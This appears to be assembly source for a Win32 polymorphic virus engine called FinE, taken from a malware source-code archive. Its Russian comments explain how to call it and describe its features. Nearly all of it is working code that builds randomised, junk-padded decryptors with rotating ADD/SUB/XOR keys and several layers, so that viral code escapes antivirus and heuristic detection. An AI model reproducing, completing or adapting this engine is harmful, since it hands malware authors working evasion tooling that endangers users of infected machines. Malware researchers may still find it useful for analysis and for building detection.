Files
MalwareSourceCode/Engines/Virus.Win32.Flying.asm
T
2020-10-09 21:50:53 -05:00

1108 lines
58 KiB
NASM

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; ;
; xxxxxxxxxxx xxxxxxxxxxx ;
; xxxxxxxxxxx xxxxxxxxxxx ;
; xxxx xxxx xxxxxxxxxx xxxx ;
; xxxx xxxx xxxxxxxxxxx xxxx ;
; xxxxxxxx xxxx xxxx xxxxxxxx ;
; xxxxxxxx xxxx xxxx xxxx xxxxxxxx ;
; xxxx xxxx xxxx xxxx xxxx ;
; xxxx xxxx xxxx xxxx xxxx ;
; xxxx xxxx xxxx xxxx xxxxxxxxxxx ;
; xxxx xxxx xxxx xxxx xxxxxxxxxxx ;
; ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; Flying mutatIoN Engine ;
; FinE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; :)! ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; функция FINE ;
; пиздатый полиморфный движок ;
; ;
; ;
;ВХОД: ;
;1 параметр (и единственный) - адрес структуры (MORPHGEN) (ее описание смотри ниже) ;
;--------------------------------------------------------------------------------------------------------;
;ВЫХОД: ;
;EAX - адрес созданного декриптора с зашифрованным кодом ;
;ECX - размер созданного декриптора с зашифрованным кодом ;
;+ запись этих же данных в спец. поля структуры (смотри ниже) ;
;--------------------------------------------------------------------------------------------------------;
;ЗАМЕТКИ: ;
;структура, указатель на которую передан в качестве параметра, не портится, т.е. данные в ней после ;
;вызова полиморфного движка остаются теми же (кроме, полей, специально предназняченных для изменения). ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; ! ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; ОПИСАНИЕ СТРУКТУРЫ ;
; MORPHGEN ;
; (0 - входной параметр, 1 - выходной) ;
; ;
; ;
;MORPHGEN struct ;
; rgen_addr dd ? ;адрес Генератора Случайных Чисел (ГСЧ) (0) ;
; tgen_addr dd ? ;адрес Генератора Мусорных Инструкций (0) ;
; cryptcode_addr dd ? ;адрес кода, который надо зашифровать (0) ;
; size_cryptcode dd ? ;размер кода, который надо зашифровать (0) ;
; pa_buf_for_morph dd ? ;физ. адрес буфера, куда записать декриптор с шифрованным кодом (0) ;
; va_buf_for_morph dd ? ;вирт. адрес буфера, куда записать декриптор с шифрованным кодом (0) ;
; buf_with_morph dd ? ;физ. адрес, где расположен созданный декриптор с шифрованным кодом (1) ;
; size_morph dd ? ;размер только что созданного декриптора с шифрованным кодом (1) ;
; mapped_addr dd ? ;зарезервировано (либо база мэпинга (ака адрес файла в памяти)) (0) ;
; reserv1 dd ? ;зарезервировано (0) ;
;MORPHGEN ends ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; ОПИСАНИЕ СТРУКТУРЫ ;
; TGEN ;
; (aka TRASHGEN) ;
; (более детальное описание смотри в движке xTG) ;
; ;
; ;
;TRASHGEN struct ;
; rgen_addr dd ? ;адрес Генератора Случайных Чисел (ГСЧ) ;
; buf_for_trash dd ? ;адрес (буфер), куда записывать генерируемое (хех, качественное) дерьмо ;
; size_trash dd ? ;размер (в байтах), сколько мусора записать ;
; regs dd ? ;занятые регистры (2 шт) ;
; xmask1 dd ? ;64-битная маска для генерации ;
; xmask2 dd ? ;мусорных команд (ака фильтр) ;
; beg_addr dd ? ;начальный адрес ;
; end_addr dd ? ;конечный адрес ;
; mapped_addr dd ? ;зарезервировано (либо база мэпинга (ака адрес файла в памяти)) ;
; reserv1 dd ? ;зарезервировано (хз, может когда-то там что и будет) ;
;TRASHGEN ends ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; ! ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; ПОЯСНЕНИЕ К ПОЛЯМ СТРУКТУРЫ MORPHGEN: ;
; ;
; ;
;[ rgen_addr ] : ;
; так как данный движок (FINE) разработан без привязки к какому-либо другому мотору, ;
; а для генерации мусора (и некоторых других фич) важен ГСЧ, поэтому адрес ГСЧ ;
; хранится в (данном) поле структуры. ;
; ВАЖНО: если мотор FINE будет использовать другой ГСЧ (а не тот, который ;
; идет с ним в комплекте), надо, чтобы этот другой ГСЧ принимал в качестве 1-го ;
; (и единственного!) параметра в стэке число (назовем его N), так как поиск будет в ;
; диапазоне [0..n-1]. И на выходе другой ГСЧ должен возвращать в EAX случайное число. ;
; Остальные регистры должны остаться неизменными. Все. ;
;--------------------------------------------------------------------------------------------------------;
;[ tgen_addr ] : ;
; аналогично, как и с предыдущим полем структуры. Только тогда генератор мусора ;
; должен быть приведен к виду, как xTG (в ненужных полях можно передавать нули и все ;
; тип-топ). ;
;--------------------------------------------------------------------------------------------------------;
;[ cryptcode_addr ] ;
; & ;
;[ size_cryptcode ]: ;
; думаю, здесь и так все ясно. ;
;--------------------------------------------------------------------------------------------------------;
;[pa_buf_for_morph] : ;
; в этом поле передать физический адрес выделенного буфера для создания декриптора. ;
; Буфер можно выделить например VirtualAlloc etc (как угодно). Если не менять ;
; параметры в данном движке, размер этого буфера тогда будет равен: ;
; 0x3000 + размер кода, который надо пошифровать (размер взят с запасом). ;
; Здесь стоит сказать, что: ;
; 1) выделенный буфер должен быть обнулен, т.е. состоять только из нулевых байт ;
; (из-за специфики данного движка (смотри исходники)); ;
; 2) как узнать, сколько места выделить для данного движка? Считаем: значит, ;
; ( размер кода, который надо пошифровать ) ;
; + ;
; ( 30 (max кол-во основных команд, хех, но их столько не наберется) * ;
; порция мусора ) ;
; + ;
; ( 15 (мах длина основной команды) *30 ) ;
; + ;
; на всякий случай ;
; КОРОЧЕ, скажу так: если глюкануло, значит выдели больше места. ;
; ЕЩЕ: если используется мультидекрипторность, то надо выделить еще больше места. ;
; ЫЩЕ: если вы хотите создать, к примеру, 3 декриптора c порцией мусора 100 байт, ;
; то можно смело выделить 0x5000 байт + размер кода, который надо пошифровать. ;
; Блядь, кому надо, тот разберется. ;
;--------------------------------------------------------------------------------------------------------;
;[va_buf_for_morph] : ;
; в этом поле можно смело вбить 0. Должно использоваться для заменя команды call в ;
; декрипторе на взаимозаменяемые команды. ;
;--------------------------------------------------------------------------------------------------------;
;[ buf_with_morph ]: ;
; В это поле кладется адрес, где расположен только что созданный декриптор с ;
; шифрованным кодом. Все. ;
;--------------------------------------------------------------------------------------------------------;
;[ size_morph ] : ;
; В это поле кладется размер (читай выше). И так все понятно. ;
;--------------------------------------------------------------------------------------------------------;
;[ mapped_addr ] : ;
; в это поле кладется база мэпинга (ака адрес файла в памяти). На данный момент в это ;
; поле можно тупо клать 0 или что угодно. Короче, считай, что это поле ;
; зарезервировано. Здесь все. ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; y0p! ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; ФИЧИ ;
; ;
; ;
;(+) генерация рэндомных регистров ;
;--------------------------------------------------------------------------------------------------------;
;(+) генерация рандомных ключей для шифрования ;
;--------------------------------------------------------------------------------------------------------;
;(+) размер декриптора всегда разный ;
;--------------------------------------------------------------------------------------------------------;
;(+) команды декриптора имеют взаимозаменяемые конструкции ;
;--------------------------------------------------------------------------------------------------------;
;(+) команды декриптора могут не идти друг за другом (связка jmp'ами) ;
;--------------------------------------------------------------------------------------------------------;
;(+) использование ГСЧ и Генератора Мусора (особенно своих, так это вообще охуительно) ;
;--------------------------------------------------------------------------------------------------------;
;(+) несколько алгоритмов шифрования кода (ADD/SUB/XOR) ;
;--------------------------------------------------------------------------------------------------------;
;(+) мультидекрипторность (можно легко дописать рэндомный выбор количества декрипторов) ;
;--------------------------------------------------------------------------------------------------------;
;(+) базонезависимость ;
;--------------------------------------------------------------------------------------------------------;
;(+) нет привязки к другим движкам (ГСЧ & trashgen можно юзать любой - условия читай выше;) ;
; * можно компилить как самостоятельный модуль; ;
;--------------------------------------------------------------------------------------------------------;
;(+) не юзает WinAPI ;
;--------------------------------------------------------------------------------------------------------;
;(+) не использует данные и дельта-смещение, супер для мутации двига. ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; y0p! ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; ИСПОЛЬЗОВАНИЕ: ;
; ;
; ;
;1) Подключение: ;
; FinE.asm ;
;2) Вызов (пример stdcall): ;
; ... ;
; szBuf db 100 dup (00h) ;
; szBuf2 db 5000h dup (00h) ;! обязательно обнулить! ;
; ... ;
; lea ecx,szBuf ;
; lea edx,szBuf2 ;
; assume ecx:ptr MORPHGEN ;
; mov [ecx].rgen_addr,00401000h ;по этому адресу должен находиться ГСЧ ;
; mov [ecx].tgen_addr,00401300h ;по этому адресу должен находиться трэшген ;
; mov [ecx].cryptcode_addr,00402000h ;по этому адресу находится код, который мы отмутируем ;
; mov [ecx].size_cryptcode,100 ;размер этого кода ;
; mov [ecx].pa_buf_for_morph,edx ;буфер для создания декриптора с шифрованным кодом ;
; mov [ecx].va_buf_for_morph,0 ;это поле пока что не юзается, поэтому ставим смело 0. ;
; ;[ecx].buf_with_morph - выходной параметр ;
; ;[ecx].size_morph - выходной параметр ;
; ;остальные параметры обнулены. ;
; call FINE ;вызываем полиморфный движок ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; СКЕЛЕТ ДЕКРИПТОРА: ;
; ;
; ;
; call imm32 ;здесь вычисляется текущее местонахождение декриптора ;
; pop reg1 ;и сохраняется в регистре reg1 ;
; push imm32 ;в стэк кладется размер кода, который надо расшифровать ;
; add reg1,imm32 ;регистр reg1 указывает на конец кода, который надо расшифровать ;
; mov reg2,imm32 ;в reg2 содержится ключ для расшифровки кода ;
; --> xor/add/sub [reg1],reg2 ;расшифровка кода ;
; | xor/add/sub reg2,imm32 ;ключ изменяется нехитрым алгоритмом ;
; | dec reg1 ;уменьшаем на 1 reg1 ;
; | dec [esp] ;уменьшаем на 1 размер ;
; ----jne imm32 ;переход на расшифровку кода ;
; pop reg ;восстанавливаем стэк ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;v1.0.1
;коменты обычно пишутся ночью, поэтому возможен бредняк в них.
;m1x
;pr0mix@mail.ru
;EOF
;========================================================================================================
;========================================================================================================
;структура MORPHGEN, необходимая для данного генератора
;========================================================================================================
MORPHGEN struct
rgen_addr dd ?
tgen_addr dd ?
cryptcode_addr dd ?
size_cryptcode dd ?
pa_buf_for_morph dd ?
va_buf_for_morph dd ?
buf_with_morph dd ?
size_morph dd ?
mapped_addr dd ?
reserv1 dd ?
MORPHGEN ends
;========================================================================================================
;структура TGEN, необходимая для данного генератора (aka TRASHGEN, описание смотри в xTG)
;========================================================================================================
TGEN struct
rgen_addr dd ?
buf_for_trash dd ?
size_trash dd ?
regs dd ?
xmask1 dd ?
xmask2 dd ?
beg_addr dd ?
end_addr dd ?
mapped_addr dd ?
reserv1 dd ?
TGEN ends
;========================================================================================================
num_decrypts equ 3 ;количество создаваемых декрипторов
mtrash1 equ 0FFFFFFFFh ;маска для трэшгена (если он ее юзает) - можно выставить для генерации антиэвристического дерьма или пиздатого хаоса
mtrash2 equ 000h ;вторая половина маски
num_general_instr equ 11 ;количество основных команд (команд декриптора, их чуть больше может быть)
size_general_instr equ 15 ;максимальный размер одной основной команды (можно уменьшить, к примеру до 10 etc)
num_steps equ 30 ;счетчик (о нем читай ниже)
portion equ 100 ;одна порция мусора
max_portion equ portion*num_general_instr+size_general_instr*num_general_instr ;максимальный размер одной порции мусора) - чем меньше это значение, тем меньше вероятность, что команды переставятся в случайном порядке (смотри исходник)
min_portion equ 50 ;минимальный размер порции мусора
addr1 equ 000h ;начальный и конечный адреса для трэшгена (если он их юзает)
addr2 equ 000h
;========================================================================================================
FINE:
pushad ;save all regs
cld
mov edx,dword ptr [esp+24h] ;в edx - указатель на cтруктуру MORPHGEN
assume edx:ptr MORPHGEN
mov ecx,[edx].size_cryptcode ;ecx - размер кода, который надо зашифровать
mov esi,[edx].cryptcode_addr ;esi - адрес этого кода
mov edi,[edx].pa_buf_for_morph ;edi - адрес (он же буфер), куда запишем декриптор с зашифрованным кодом
xor eax,eax ;далее кладем в стэк (и заполняем некоторые поля) структуру TGEN (aka TRASHGEN)
push eax ;reserv1
push [edx].mapped_addr ;mapped_addr
push addr2 ;end_addr
push addr1 ;beg_addr (про них читай в движке xTG)
push mtrash2 ;64-битная маска для генерации мусора
push mtrash1
push eax;regs ;регистры (пока кладем нули, а правильно заполним после, изучай исходники)
push eax;portion ;порция мусора, которую надо сгенерировать
push eax;buf_for_trash ;буфер, куда записывать порцию мусора
push [edx].rgen_addr ;ГСЧ
mov ebp,esp ;указателем на данную структуру будет регистр ebp
assume ebp:ptr TGEN ;[ebp+-00]
mov eax,num_decrypts ;количество декрипторов
_next_decrypt_:
push eax ;[ebp-04]
call morph ;[ebp-08] ;вызываем функцию создания сего декриптора с шифрованным кодом
mov esi,edi ;esi делаем равным началу только что созданного декриптора
add edi,ecx ;edi переводим на конец только что созданного декриптора + шифрованный текст
pop eax
dec eax ;уменьшаем счетчик
jnz _next_decrypt_ ;есть варик еще замутить декриптор?
add esp,10*4 ;когда все что надо записали, выравниваем стэк
sub edi,ecx ;корректируем edi на начало последнего созданного декриптора
mov [edx].buf_with_morph,edi ;сохраним это значение в структуре
mov [edx].size_morph,ecx ;а также сохраним размер данного декриптора + шифрованного текста
mov dword ptr [esp+1Ch],edi ;EAX=EDI
mov dword ptr [esp+18h],ecx ;ECX=ECX
popad ;восстанавливаем регистры
ret 4 ;выходим
;========================================================================================================
morph:
call gen_reg ;вызываем функцию генерации занятых регистров (используемых) (2 шт)
push edi ;[ebp-12] сохраняем edi в стэке
push portion ;сгенерируем в самом начале 1-ую порцию мусора
call [edx].rgen_addr
add eax,41 ;от коллизий
call gen_trash
;--------------------------------------------------------------------------------------------------------
push edi ;[ebp-16] ;здесь адрес будет изменяться (нужно для поиска свободного рэндомного адреса)
push edi ;[ebp-20] ;адрес сразу после call $+5 (сохранится после в reg1)
call instr___call ;CALL $+value
call instr___pop__reg ;POP reg1
call instr___push__imm ;PUSH <size>
push edi ;[ebp-24] ;сохраним это место (в нижевызванной функции его правильно скорректируем), чтобы после написать правильный размер после по этому адресу
call instr___add__reg_imm ;ADD reg1,<trash+size=адрес конца криптованного кода>
push edi ;[ebp-28] ;сохраним и это место, здесь после впишем ключ1, по которому и будем расшифровывать данные (код)
call instr___mov__reg_imm ;MOV reg2,key1
push edi ;[ebp-32] ;сохраним также и этот адрес, ибо условный переход будет указывать именно сюда
push edi ;[ebp-36] ;здесь хранится число - какой алг криптовки юзаем
call instr___addxorsub__addrreg_reg ;ADD/XOR/SUB dword ptr [reg1],reg2
push edi ;[ebp-40] ;сюда позже впишем ключ2, на этот ключ будет изменяться ключ1
push edi ;[ebp-44] ;здесь хранится 2-ое число - какой 2-ой ключ для изменения 1-ого ключа юзаем
call instr___addxorsub__reg_imm ;ADD/XOR/SUB reg2,key2
call instr___dec__reg ;DEC reg1
call instr___dec__addresp ;DEC dword ptr [esp], JNE <value32>
call instr___pop__reg ;POP reg
;--------------------------------------------------------------------------------------------------------
push portion
call [edx].rgen_addr ;случайным образом определим, сколько мусора (в байтах) записать
push eax
add eax,ecx ;добавим размер данных, которые надо будет расшифровать декриптором
call goto_free_addr ;и вызовем функцию получения случайного свободного адреса в заданном (заранее) промежутке, и по этому адресу и будем сейчас записывать
add eax,(max_portion+portion+portion+min_portion) ;также скорректируем (чтобы все правильно отработало) данный размер
add dword ptr [ebp-16],eax ;и добавим к изменяющемуся адресу (он указывает теперь на свободное место, куда будем записывать очередной декриптор etc)
pop eax
call gen_trash ;генерируем порцию мусора
;--------------------------------------------------------------------------------------------------------
push -1
call [edx].rgen_addr
xchg eax,ebx ;в ebx теперь хранится ключ1
push -1
call [edx].rgen_addr
push eax ;[ebp-48] ;а в стэке теперь хранится ключ2
;--------------------------------------------------------------------------------------------------------
mov eax,dword ptr [esi] ;и начинаем шифровать код
add esi,4
_crypt_:
;mov eax,dword ptr [esi]
cmp dword ptr [ebp-36],1 ;optimization! ;смотрим, какой алгоритм шифровки мы выбирали, и выбираем симметричный алг расшифровки
jl _xor03_
jg _add03_
_sub03_:
sub eax,ebx
jmp _chg_key1_
_add03_:
add eax,ebx
jmp _chg_key1_
_xor03_:
xor eax,ebx
_chg_key1_:
cmp ecx,1 ;optimization! ;смотрим, это последняя итерация? если да, то изменять ключ1 на ключ2 уже не надо
je _write_crypt_data_
cmp dword ptr [ebp-44],1 ;optimization! ;смотрим какой алг мы использовали для изменения ключ1 (на ключ2)
jl _xor04_
jg _add04_
_sub04_:
sub ebx,dword ptr [esp]
jmp _write_crypt_data_
_add04_:
add ebx,dword ptr [esp]
jmp _write_crypt_data_
_xor04_:
xor ebx,dword ptr [esp]
_write_crypt_data_:
mov dword ptr [edi],eax
inc edi
lodsb
ror eax,8 ;берем следующий байт, и начинаем шифровать дальше
;inc esi
loop _crypt_
;--------------------------------------------------------------------------------------------------------
pop ecx ;key2
pop eax
pop eax
mov dword ptr [eax],ecx ;вытаскиваем из стэка ранее сохраненный ключ2 и адрес, по которому и запишем в декриптор данный ключик
pop eax
pop eax
pop eax
mov dword ptr [eax],ebx ;вытаскиваем из стэка адрес, по которому и запишем в декриптор ключ1
dec edi ;корректируем edi
xchg eax,edi ;далее вытаскиваем адрес, по которому надо записать размер шифрованных байт + мусор (то есть reg1 должен указывать на конец шифрованного кода)
pop edi
pop esi
sub eax,esi
test byte ptr [edi-1],20h;0E8h ;после смотрим, какая команда была записана: ADD или SUB ? и в заисимости от этого изменяем знак регистра
je _addregimm_
_subregimm_:
neg eax
_addregimm_:
stosd
pop ecx ;получаем адрес, по которому можно будет записывать новый декриптор (он больше чем тот, что в edi)
pop edi ;получаем адрес начала только что записанного декриптора
sub ecx,edi ;вычисляем и сохраняем в ecx размер только что записанного декриптора + шифрованного кода
ret ;выходим
;========================================================================================================
;=====================================[CALL $+value]=====================================================
instr___call:
push portion
call [edx].rgen_addr ;получаем рэндомно размер 1-ой порции мусора, которую будем генерить и записывать
push eax ;сохраняем
push portion
call [edx].rgen_addr ;получаем рэндомно размер 2-ой порции мусора
push eax ;сохраняем и его
push portion
call [edx].rgen_addr ;получаем рэндомно размер 3-ей порции мусора
push eax ;и его также сохраняем в стэке
add eax,dword ptr [esp+4]
add eax,dword ptr [esp+8] ;получаем общий размер
call goto_free_addr ;получаем рэндомный свободный адрес в заранее заданном промежутке, по которому вместится столько мусора + нужная команда (в данном варике это call $+5)
pop eax ;вытаскиваем из стэка ранее сохраненный размер мусора
call gen_trash ;герерим мусор
mov al,0E8h ;далее генерим команду CALL $+value
stosb
pop eax
stosd
mov dword ptr [ebp-20],edi
call gen_trash ;записываем очередную порцию мусора
pop eax
call gen_trash ;etc
ret ;на выход
;=====================================[CALL $+value]=====================================================
;=======================================[POP reg1]=======================================================
instr___pop__reg:
push portion ;etc (смотри выше)
call [edx].rgen_addr
push eax
push portion
call [edx].rgen_addr
push eax
add eax,dword ptr [esp+4]
call goto_free_addr
pop eax
call gen_trash
;--------------------------------------------------------------------------------------------------------
push 2 ;далее смотрим, какую команду генерить?
call [edx].rgen_addr
test eax,eax
je _pop__reg1_ ;POP reg1 или
;--------------------------------------------------------------------------------------------------------
_mov__reg1_addresp___add__esp_4_: ;MOV reg1,[esp] add esp,4 ?
mov al,8Bh
stosb
mov al,bh
shl eax,3
add al,4
stosb
mov al,24h
stosb
pop eax
call gen_trash
push portion
call [edx].rgen_addr
push eax
push portion
call [edx].rgen_addr
push eax
add eax,dword ptr [esp+4]
call goto_free_addr
pop eax
call gen_trash
mov ax,0C483h
stosw
mov al,04
jmp _iprendtrash_
;--------------------------------------------------------------------------------------------------------
_pop__reg1_:
mov al,58h
add al,bh
_iprendtrash_:
stosb
pop eax
call gen_trash
ret
;=======================================[POP reg1]=======================================================
;=======================================[PUSH imm]=======================================================
instr___push__imm:
push portion
call [edx].rgen_addr
push eax
push portion
call [edx].rgen_addr
push eax
add eax,dword ptr [esp+4]
call goto_free_addr
pop eax
call gen_trash
;--------------------------------------------------------------------------------------------------------
push 2 ;PUSH imm или
call [edx].rgen_addr ;MOV reg2,imm PUSH reg2 ?
test eax,eax
je _push__imm_
;--------------------------------------------------------------------------------------------------------
_mov__reg2_imm___push__reg2_:
mov al,0B8h
add al,bl
stosb
mov eax,ecx
stosd
pop eax
call gen_trash
push portion
call [edx].rgen_addr
push eax
push portion
call [edx].rgen_addr
push eax
add eax,dword ptr [esp+4]
call goto_free_addr
pop eax
call gen_trash
mov al,50h
add al,bl
stosb
jmp _ipiendtrash_
;--------------------------------------------------------------------------------------------------------
_push__imm_:
mov al,68h
stosb
mov eax,ecx
stosd
_ipiendtrash_:
pop eax
call gen_trash
ret
;=======================================[PUSH imm]=======================================================
;=====================================[ADD reg1,imm]=====================================================
instr___add__reg_imm:
push portion
call [edx].rgen_addr
push eax
push portion
call [edx].rgen_addr
push eax
add eax,dword ptr [esp+4]
call goto_free_addr
pop eax
call gen_trash
mov al,81h
stosb
;--------------------------------------------------------------------------------------------------------
push 2 ;ADD reg1,imm или
call [edx].rgen_addr ;SUB reg1,-imm ?
imul eax,28h
add al,0C0h
add al,bh
stosb
;--------------------------------------------------------------------------------------------------------
mov dword ptr [ebp-24],edi
xor eax,eax
stosd
pop eax
call gen_trash
ret
;=====================================[ADD reg1,imm]=====================================================
;=====================================[MOV reg2,imm]=====================================================
instr___mov__reg_imm:
push portion
call [edx].rgen_addr
push eax
push portion
call [edx].rgen_addr
push eax
add eax,dword ptr [esp+4]
call goto_free_addr
pop eax
call gen_trash
;--------------------------------------------------------------------------------------------------------
push 2 ;MOV reg2,imm или
call [edx].rgen_addr ;PUSH imm POP reg2 ?
test eax,eax
je _mov__reg_imm_
;--------------------------------------------------------------------------------------------------------
_push__imm___pop__reg_:
mov al,68h
stosb
mov dword ptr [ebp-28],edi
xor eax,eax
stosd
pop eax
call gen_trash
push portion
call [edx].rgen_addr
push eax
push portion
call [edx].rgen_addr
push eax
add eax,dword ptr [esp+4]
call goto_free_addr
pop eax
call gen_trash
mov al,58h
add al,bl
stosb
jmp _mriendtrash_
;--------------------------------------------------------------------------------------------------------
_mov__reg_imm_:
mov al,0B8h
add al,bl
stosb
mov dword ptr [ebp-28],edi
xor eax,eax
stosd
_mriendtrash_:
pop eax
call gen_trash
ret
;=====================================[MOV reg2,imm]=====================================================
;===============================[ADD/SUB/XOR [reg1],reg2]================================================
instr___addxorsub__addrreg_reg:
push portion
call [edx].rgen_addr
push eax
push portion
call [edx].rgen_addr
push eax
add eax,dword ptr [esp+4]
call goto_free_addr
pop eax
mov dword ptr [ebp-32],edi
call gen_trash
;--------------------------------------------------------------------------------------------------------
push 3 ;ADD, SUB, или XOR ?
call [edx].rgen_addr
mov dword ptr [ebp-36],eax
;--------------------------------------------------------------------------------------------------------
cmp al,1
jl _xor01_
jg _sub01_
_add01_:
jmp _n001_
_sub01_:
mov al,29h
jmp _n001_
_xor01_:
mov al,31h
_n001_:
stosb
mov al,bl
shl eax,3
add al,bh
stosb
pop eax
call gen_trash
ret
;===============================[ADD/SUB/XOR [reg1],reg2]================================================
;================================[ADD/SUB/XOR reg2,imm]==================================================
instr___addxorsub__reg_imm:
push portion
call [edx].rgen_addr
push eax
push portion
call [edx].rgen_addr
push eax
add eax,dword ptr [esp+4]
call goto_free_addr
pop eax
call gen_trash
;--------------------------------------------------------------------------------------------------------
mov al,81h
stosb
;--------------------------------------------------------------------------------------------------------
push 3 ;ADD, SUB, или XOR ?
call [edx].rgen_addr
mov dword ptr [ebp-44],eax
cmp al,1
mov al,bl ;reg2
jl _xor02_
jg _sub02_
_add02_:
add al,0C0h
jmp _n002_
_sub02_:
add al,0E8h
jmp _n002_
_xor02_:
add al,0F0h
_n002_:
stosb
mov dword ptr [ebp-40],edi
xor eax,eax
stosd
pop eax
call gen_trash
ret
;================================[ADD/SUB/XOR reg2,imm]==================================================
;======================================[DEC reg1]========================================================
instr___dec__reg:
push portion
call [edx].rgen_addr
push eax
push portion
call [edx].rgen_addr
push eax
add eax,dword ptr [esp+4]
call goto_free_addr
pop eax
call gen_trash
;--------------------------------------------------------------------------------------------------------
push 2 ;DEC reg1 или
call [edx].rgen_addr ;SUB reg1,1 ?
test eax,eax
je _dec__reg1_
;--------------------------------------------------------------------------------------------------------
_sub__reg1_1_:
mov al,83h
stosb
mov al,0E8h
add al,bh
stosb
mov al,1
jmp _idrendtrash_
;--------------------------------------------------------------------------------------------------------
_dec__reg1_:
mov al,bh ;reg1
add al,48h
_idrendtrash_:
stosb
pop eax
call gen_trash
ret
;======================================[DEC reg1]========================================================
;=================================[DEC [esp] JNE imm]==================================================
instr___dec__addresp:
push portion
call [edx].rgen_addr
push eax
push portion
call [edx].rgen_addr
push eax
add eax,dword ptr [esp+4]
call goto_free_addr
pop eax
call gen_trash
;--------------------------------------------------------------------------------------------------------
push 2 ;DEC [esp] или
call [edx].rgen_addr ;SUB [esp],1 ?
test eax,eax
je _dec__addresp_
;--------------------------------------------------------------------------------------------------------
_sub__addresp_1_:
mov eax,01242C83h
stosd
jmp _jne__imm_
_dec__addresp_:
mov ax,0CFFh
stosw
mov al,24h
stosb
_jne__imm_: ;JNE imm
push ecx
mov ecx,edi
mov ax,850Fh
stosw
sub ecx,dword ptr [ebp-32]
add ecx,6
neg ecx
xchg eax,ecx
stosd
pop ecx
pop eax
call gen_trash
ret
;=====================================[DEC [esp] JNE imm]==============================================
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;функция goto_free_addr
;получение, переход, а также (если надо) запись мусора и джампа
;ВХОД:
;eax - размер кода ( в байтах), который надо будет записать по новому полученного рэндомному адресу
;ВЫХОД:
;edi - новый адрес
;а также (если надо было) запись джампа и мусора
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
goto_free_addr:
push eax
call get_free_addr ;получаем адрес, по которому точно можно записать нужное количество (в байтах) кода
push eax
jnc _nojmp_ ;проверяем, нужно ли записывать джамп?
push edi ;если да, надо, то высчитываем операнд для jmp'a
sub edi,eax
inc edi
inc edi
mov eax,edi
_abs01_:
neg eax
js _abs01_
_jmpshort0xEB_:
cmp eax,80h
jae _jmpnear0xE9_
neg edi
xchg edi,dword ptr [esp]
mov al,0EBh
stosb
pop eax
stosb
jmp _nextgfa_
_jmpnear0xE9_:
add edi,3
neg edi
xchg edi,dword ptr [esp]
mov al,0E9h ;и записываем jmp
stosb
pop eax
stosd
_nextgfa_:
;mov eax,min_portion
push min_portion
call [edx].rgen_addr ;!!!!! можно закоментить
call gen_trash ;после него запишем для заshitы кусок мусора
_nojmp_:
pop edi
pop eax
ret ;выходим
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;конец функции goto_free_addr
